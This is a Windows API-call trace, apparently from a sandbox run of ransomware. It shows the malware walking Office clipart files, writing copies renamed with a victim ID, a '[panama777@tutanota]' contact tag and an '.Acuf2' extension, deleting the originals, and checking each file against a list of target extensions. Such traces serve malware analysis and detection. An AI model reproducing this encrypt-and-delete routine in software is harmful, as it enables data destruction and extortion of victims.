	[0255.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0255.030] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.030] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0255.030] GetLastError () returned 0x0
	[0255.030] ReadFile (in: hFile=0x328, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x19ec, lpOverlapped=0x0) returned 1
	[0255.034] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x19f0, lpOverlapped=0x0) returned 1
	[0255.035] ReadFile (in: hFile=0x328, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.035] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.035] SetEndOfFile (hFile=0x350) returned 1
	[0255.036] CloseHandle (hObject=0x350) returned 1
	[0255.036] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.036] SetEndOfFile (hFile=0x328) returned 1
	[0255.038] CloseHandle (hObject=0x328) returned 1
	[0255.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 1
	[0255.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63
	[0255.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63
	[0255.296] lstrlenW (lpString=".doc") returned 4
	[0255.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.296] lstrlenW (lpString=".docx") returned 5
	[0255.296] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.296] lstrlenW (lpString=".pdf") returned 4
	[0255.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.296] lstrlenW (lpString=".xls") returned 4
	[0255.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.296] lstrlenW (lpString=".xlsx") returned 5
	[0255.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.296] lstrlenW (lpString=".ppt") returned 4
	[0255.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63
	[0255.297] lstrlenW (lpString=".zip") returned 4
	[0255.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.297] lstrlenW (lpString=".rar") returned 4
	[0255.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.297] lstrlenW (lpString=".bz2") returned 4
	[0255.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.297] lstrlenW (lpString=".7z") returned 3
	[0255.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63
	[0255.297] lstrlenW (lpString=".dbf") returned 4
	[0255.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63
	[0255.297] lstrlenW (lpString=".1cd") returned 4
	[0255.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63
	[0255.297] lstrlenW (lpString=".jpg") returned 4
	[0255.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63
	[0255.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63
	[0255.298] lstrlenW (lpString=".doc") returned 4
	[0255.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.298] lstrlenW (lpString=".docx") returned 5
	[0255.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.298] lstrlenW (lpString=".pdf") returned 4
	[0255.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.298] lstrlenW (lpString=".xls") returned 4
	[0255.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.298] lstrlenW (lpString=".xlsx") returned 5
	[0255.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.298] lstrlenW (lpString=".ppt") returned 4
	[0255.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63
	[0255.298] lstrlenW (lpString=".zip") returned 4
	[0255.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.298] lstrlenW (lpString=".rar") returned 4
	[0255.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.298] lstrlenW (lpString=".bz2") returned 4
	[0255.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.298] lstrlenW (lpString=".7z") returned 3
	[0255.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63
	[0255.298] lstrlenW (lpString=".dbf") returned 4
	[0255.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63
	[0255.298] lstrlenW (lpString=".1cd") returned 4
	[0255.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63
	[0255.298] lstrlenW (lpString=".jpg") returned 4
	[0255.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.299] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.299] lstrlenW (lpString="AN04269_.WMF") returned 12
	[0255.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0255.301] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2016) returned 1
	[0255.301] CloseHandle (hObject=0x35c) returned 1
	[0255.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20
	[0255.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0255.323] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.323] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.323] GetLastError () returned 0x0
	[0255.323] ReadFile (in: hFile=0x35c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x7e0, lpOverlapped=0x0) returned 1
	[0255.333] WriteFile (in: hFile=0x334, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x7f0, lpOverlapped=0x0) returned 1
	[0255.334] ReadFile (in: hFile=0x35c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.334] WriteFile (in: hFile=0x334, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.334] SetEndOfFile (hFile=0x334) returned 1
	[0255.335] CloseHandle (hObject=0x334) returned 1
	[0255.335] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.335] SetEndOfFile (hFile=0x35c) returned 1
	[0255.337] CloseHandle (hObject=0x35c) returned 1
	[0255.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 1
	[0255.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63
	[0255.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63
	[0255.418] lstrlenW (lpString=".doc") returned 4
	[0255.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.418] lstrlenW (lpString=".docx") returned 5
	[0255.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.418] lstrlenW (lpString=".pdf") returned 4
	[0255.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.418] lstrlenW (lpString=".xls") returned 4
	[0255.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.419] lstrlenW (lpString=".xlsx") returned 5
	[0255.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.419] lstrlenW (lpString=".ppt") returned 4
	[0255.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63
	[0255.419] lstrlenW (lpString=".zip") returned 4
	[0255.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.419] lstrlenW (lpString=".rar") returned 4
	[0255.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.419] lstrlenW (lpString=".bz2") returned 4
	[0255.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.419] lstrlenW (lpString=".7z") returned 3
	[0255.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63
	[0255.419] lstrlenW (lpString=".dbf") returned 4
	[0255.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63
	[0255.419] lstrlenW (lpString=".1cd") returned 4
	[0255.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63
	[0255.419] lstrlenW (lpString=".jpg") returned 4
	[0255.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63
	[0255.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63
	[0255.419] lstrlenW (lpString=".doc") returned 4
	[0255.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.419] lstrlenW (lpString=".docx") returned 5
	[0255.419] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.420] lstrlenW (lpString=".pdf") returned 4
	[0255.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.420] lstrlenW (lpString=".xls") returned 4
	[0255.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.420] lstrlenW (lpString=".xlsx") returned 5
	[0255.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.420] lstrlenW (lpString=".ppt") returned 4
	[0255.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63
	[0255.420] lstrlenW (lpString=".zip") returned 4
	[0255.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.420] lstrlenW (lpString=".rar") returned 4
	[0255.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.420] lstrlenW (lpString=".bz2") returned 4
	[0255.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.420] lstrlenW (lpString=".7z") returned 3
	[0255.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63
	[0255.420] lstrlenW (lpString=".dbf") returned 4
	[0255.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63
	[0255.420] lstrlenW (lpString=".1cd") returned 4
	[0255.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63
	[0255.420] lstrlenW (lpString=".jpg") returned 4
	[0255.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.420] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.421] lstrlenW (lpString="AN04332_.WMF") returned 12
	[0255.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.448] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=4296) returned 1
	[0255.448] CloseHandle (hObject=0x334) returned 1
	[0255.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20
	[0255.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.449] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.449] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0255.449] GetLastError () returned 0x0
	[0255.449] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x10c8, lpOverlapped=0x0) returned 1
	[0255.453] WriteFile (in: hFile=0x354, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x10d0, lpOverlapped=0x0) returned 1
	[0255.454] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.454] WriteFile (in: hFile=0x354, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.454] SetEndOfFile (hFile=0x354) returned 1
	[0255.473] CloseHandle (hObject=0x354) returned 1
	[0255.473] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.473] SetEndOfFile (hFile=0x334) returned 1
	[0255.773] CloseHandle (hObject=0x334) returned 1
	[0255.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 1
	[0255.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63
	[0255.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63
	[0255.802] lstrlenW (lpString=".doc") returned 4
	[0255.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.802] lstrlenW (lpString=".docx") returned 5
	[0255.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.802] lstrlenW (lpString=".pdf") returned 4
	[0255.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.802] lstrlenW (lpString=".xls") returned 4
	[0255.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.802] lstrlenW (lpString=".xlsx") returned 5
	[0255.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.802] lstrlenW (lpString=".ppt") returned 4
	[0255.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63
	[0255.802] lstrlenW (lpString=".zip") returned 4
	[0255.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.802] lstrlenW (lpString=".rar") returned 4
	[0255.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.802] lstrlenW (lpString=".bz2") returned 4
	[0255.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.802] lstrlenW (lpString=".7z") returned 3
	[0255.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63
	[0255.802] lstrlenW (lpString=".dbf") returned 4
	[0255.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63
	[0255.803] lstrlenW (lpString=".1cd") returned 4
	[0255.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63
	[0255.803] lstrlenW (lpString=".jpg") returned 4
	[0255.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63
	[0255.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63
	[0255.803] lstrlenW (lpString=".doc") returned 4
	[0255.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.803] lstrlenW (lpString=".docx") returned 5
	[0255.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.803] lstrlenW (lpString=".pdf") returned 4
	[0255.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.803] lstrlenW (lpString=".xls") returned 4
	[0255.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.803] lstrlenW (lpString=".xlsx") returned 5
	[0255.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.803] lstrlenW (lpString=".ppt") returned 4
	[0255.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63
	[0255.803] lstrlenW (lpString=".zip") returned 4
	[0255.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.803] lstrlenW (lpString=".rar") returned 4
	[0255.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.803] lstrlenW (lpString=".bz2") returned 4
	[0255.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.803] lstrlenW (lpString=".7z") returned 3
	[0255.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63
	[0255.804] lstrlenW (lpString=".dbf") returned 4
	[0255.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63
	[0255.804] lstrlenW (lpString=".1cd") returned 4
	[0255.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63
	[0255.804] lstrlenW (lpString=".jpg") returned 4
	[0255.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.804] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.804] lstrlenW (lpString="BD06102_.WMF") returned 12
	[0255.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0255.810] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=16112) returned 1
	[0255.810] CloseHandle (hObject=0x320) returned 1
	[0255.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20
	[0255.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
